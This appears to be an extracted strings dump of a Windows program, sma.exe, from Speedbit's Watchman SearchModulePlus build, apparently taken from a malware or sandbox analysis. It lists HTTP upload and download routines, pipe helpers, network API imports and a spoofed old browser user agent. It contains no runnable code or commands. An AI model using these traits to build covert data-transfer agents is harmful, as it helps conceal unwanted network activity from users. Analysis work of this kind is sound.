?.?8?>?]?{?
7„8c8p8
7„8c8p8
0(010:0]0
0(010:0]0
> >$>(>,>0>
> >$>(>,>0>
/Url:
/Url:
Utils::SynchronousPipe::IsPipe
Utils::SynchronousPipe::IsPipe
Utils::SynchronousPipe::Read
Utils::SynchronousPipe::Read
Agent::HttpInvoker::Create
Agent::HttpInvoker::Create
Agent::HttpInvoker::UploadData
Agent::HttpInvoker::UploadData
Agent::HttpInvoker::DownloadData
Agent::HttpInvoker::DownloadData
Utils::SynchronousPipe::Write
Utils::SynchronousPipe::Write
[Agent::HttpInvoker::UploadData]
[Agent::HttpInvoker::UploadData]
[Agent::HttpInvoker::DownloadData]
[Agent::HttpInvoker::DownloadData]
CCDJobMgr::AddHTTPGenericJob
CCDJobMgr::AddHTTPGenericJob
@logs\${ModuleName}.${Pid}.log
@logs\${ModuleName}.${Pid}.log
@KERNEL32.DLL
@KERNEL32.DLL
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)
@[SynchronousPipe::Write]
@[SynchronousPipe::Write]
[SynchronousPipe::Read]
[SynchronousPipe::Read]
2, 1, 9, 476
2, 1, 9, 476
sma.exe
sma.exe
sma.exe_3860:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.reloc
@.reloc
Ix.SHx
Ix.SHx
Wxs.Ux
Wxs.Ux
Windows 2003
Windows 2003
Windows 7
Windows 7
Windows Vista
Windows Vista
Windows XP
Windows XP
Windows Me
Windows Me
Windows 2000
Windows 2000
Windows NT4
Windows NT4
Windows 98
Windows 98
Windows 95
Windows 95
%%x
%%x
C:\BUILDS\Build_Watchman\Ver2\Speedbit.Watchman\Bin\SearchModulePlus_SearchModulePlus\Win32\WinMV\Release\sma.pdb
C:\BUILDS\Build_Watchman\Ver2\Speedbit.Watchman\Bin\SearchModulePlus_SearchModulePlus\Win32\WinMV\Release\sma.pdb
InternetOpenUrlA
InternetOpenUrlA
HttpQueryInfoW
HttpQueryInfoW
HttpSendRequestExW
HttpSendRequestExW
HttpOpenRequestW
HttpOpenRequestW
InternetCrackUrlW
InternetCrackUrlW
WININET.dll
WININET.dll
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
MSVCP90.dll
MSVCP90.dll
MSVCR90.dll
MSVCR90.dll
_amsg_exit
_amsg_exit
_crt_debugger_hook
_crt_debugger_hook
GetNamedPipeInfo
GetNamedPipeInfo
.?AVImplementation@HttpInvoker@Agent@SpeedBit@@
.?AVImplementation@HttpInvoker@Agent@SpeedBit@@
.?AVHttpInvoker@Agent@SpeedBit@@
.?AVHttpInvoker@Agent@SpeedBit@@
.?AVCCDHTTPEngine@@
.?AVCCDHTTPEngine@@
.?AVCCDHTTPGenericRequest@@
.?AVCCDHTTPGenericRequest@@
.?AVCCDHTTPUploader@@
.?AVCCDHTTPUploader@@
.?AVJOB_HTTP@@
.?AVJOB_HTTP@@
.?AVHTTPJOB@@
.?AVHTTPJOB@@
?.?8?>?]?{?
?.?8?>?]?{?
7„8c8p8
7„8c8p8
0(010:0]0
0(010:0]0
> >$>(>,>0>
> >$>(>,>0>
/Url:
/Url:
Utils::SynchronousPipe::IsPipe
Utils::SynchronousPipe::IsPipe
Utils::SynchronousPipe::Read
Utils::SynchronousPipe::Read
Agent::HttpInvoker::Create
Agent::HttpInvoker::Create
Agent::HttpInvoker::UploadData
Agent::HttpInvoker::UploadData
Agent::HttpInvoker::DownloadData
Agent::HttpInvoker::DownloadData
Utils::SynchronousPipe::Write
Utils::SynchronousPipe::Write
[Agent::HttpInvoker::UploadData]
[Agent::HttpInvoker::UploadData]
[Agent::HttpInvoker::DownloadData]
[Agent::HttpInvoker::DownloadData]
CCDJobMgr::AddHTTPGenericJob
CCDJobMgr::AddHTTPGenericJob
@logs\${ModuleName}.${Pid}.log
@logs\${ModuleName}.${Pid}.log
@KERNEL32.DLL
@KERNEL32.DLL
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)
@[SynchronousPipe::Write]
@[SynchronousPipe::Write]
[SynchronousPipe::Read]
[SynchronousPipe::Read]
2, 1, 9, 476
2, 1, 9, 476
sma.exe
sma.exe